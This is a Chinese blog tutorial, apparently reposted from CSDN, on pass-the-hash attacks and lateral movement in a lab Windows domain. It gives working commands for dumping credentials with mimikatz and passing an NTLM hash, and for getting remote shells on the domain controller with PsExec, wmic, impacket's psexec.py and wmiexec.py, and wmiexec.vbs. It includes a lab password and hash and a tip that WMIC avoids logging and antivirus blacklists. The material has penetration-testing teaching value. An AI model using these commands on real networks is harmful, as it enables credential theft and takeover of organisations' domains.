内网渗透—哈希传递攻击PTH的几种方式

目录

PTH:

使用 mimikatz 进行 PTH

使用 PsExec 进行横向移动

使用 Wmic 进行横向移动

wmiexec.py 的使用

wmiexec.vbs使用


PTH:

        在使用 NTLM 身份验证的系统或服务上,用户密码不会以明文形式通过网络发送。 Windows 上的应用程序要求用户提供明文密码,然后调用 LsaLogonUser 类的 API,将该密码转换为一个或两个哈希值(LM或NTLM hash),然后将其发送到远程服务器进行 NTLM 身份验证。由于这种机制,我们只需要哈希值即可成功完成网络身份验证,而不需要明文密码。所以当我们获取到任意用户的 Hash 值就可以针对远程系统进行身份验证并模拟该用户,从而获取用户权限

实验环境模拟

域控DC:Windows Server 2016 (dc)—— ​ IP:192.168.217.146

域内计算机:Windows 7(本地管理员) ——  IP:192.168.217.132

攻击机kali:192.168.217.142

使用 mimikatz 进行 PTH

下载地址:https://github.com/gentilkiwi/mimikatz/

mimikatz许多功能都需要管理员权限,如果不是管理员权限不能debug

所以直接上传 mimikatz 到 win7 上,假设我们获取了本地管理员权限,且域管理员登录到这台电脑上(此时就能从内存中获取域管理员的 NTML Hash)

  • 先模拟域管理员登录了此台win7后,再使用具有管理员权限的 cmd 中运行 mimikatz.exe,获取debug权限。使用命令privilege::debugmimikatz.exe提升至 debug权限

privilege::debug     # 提升至调试(debug)权限
sekurlsa::logonpasswords # 查看所有可用的凭证

  • 提升完成后,再使用sekurlsa::logonpasswords来查看历史登录过的用户的密码,win7是可以查看明文密码的,这里查看到了administrator所有信息

  • 然后​利用 mimikatz 进行 PTH 攻击:
sekurlsa::pth /user:administrator /domain:192.168.217.146 /ntlm:9099d68602a60f007c227c4fa95fada6

  • 执行完成后会跳出新的cmd界面,直接在此执行 dir 命令,来查看域控的文件
dir \\192.168.217.146\c$

  • 和域控主机的文件目录是一样的

使用 PsExec 进行横向移动

项目地址:PsTools - Sysinternals | Microsoft Learn    

         PsExec 是 windows 官方发布的,所以不会存在查杀问题,其属于 pstools 。利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务

  • 当知道域用户密码可以使用 PsExec.exe 与对应主机建立启动交互命令,所以我们直接在win7上执行 
PsExec.exe /accepteula /s \\192.168.217.146 -u Administrator -p p-0p-0p-0 cmd
whoami

  • 也可以直接在命令中执行对应的命令
PsExec.exe /accepteula /s \\192.168.217.146 -u Administrator -p p-0p-0p-0 cmd /c "ipconfig"

  • 还可以使用Kali里的 impacket 工具包的 psexec.py 脚本进行利用。
#下载
git clone https://github.com/CoreSecurity/impacket.git
#命令
python3 /usr/local/bin/psexec.py -hashes 1111:9099d68602a60f007c227c4fa95fada6 ./[email protected]

 

使用 Wmic 进行横向移动

由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMIC 比 PsExec 隐蔽性要更好一些

  • ​ 这里在 win7 上使用 wmic 在 DC 上远程执行 ipconfig 并将内容输出到 c:\ip.txt (DC的)
wmic /node:"192.168.217.146" /user:"administrator" /password:"p-0p-0p-0" process call create "cmd.exe /c ipconfig > c:\ip.txt"

  • 然后再构建 ipc$ 管道,产看DC上的 ip.txt(程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用)
net use \192.168.217.146\ipc$ "p-0p-0p-0" /user:administrator

type \192.168.217.146\c$\ip.txt

wmiexec.py 的使用

  • 这里也可以用kali中 impacket 工具包的 wmiexec.py 脚本进行利用,创建交互式命令,通过SMB协议进行连接
python3 /usr/local/bin/wmiexec.py administrator:[email protected]

wmiexec.vbs使用

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,或者获取远程主机的交互式Shell

  • 获取dc的交互式命令行:
cscript //nologo wmiexec.vbs /shell 192.168.217.146 administrator p-0p-0p-0

  • 或者使用 wmiexec.vbs 直接执行命令:
cscript //nologo wmiexec.vbs /cmd 192.168.217.146 administrator p-0p-0p-0 "whoami

猜你喜欢

转载自blog.csdn.net/oiadkt/article/details/129462625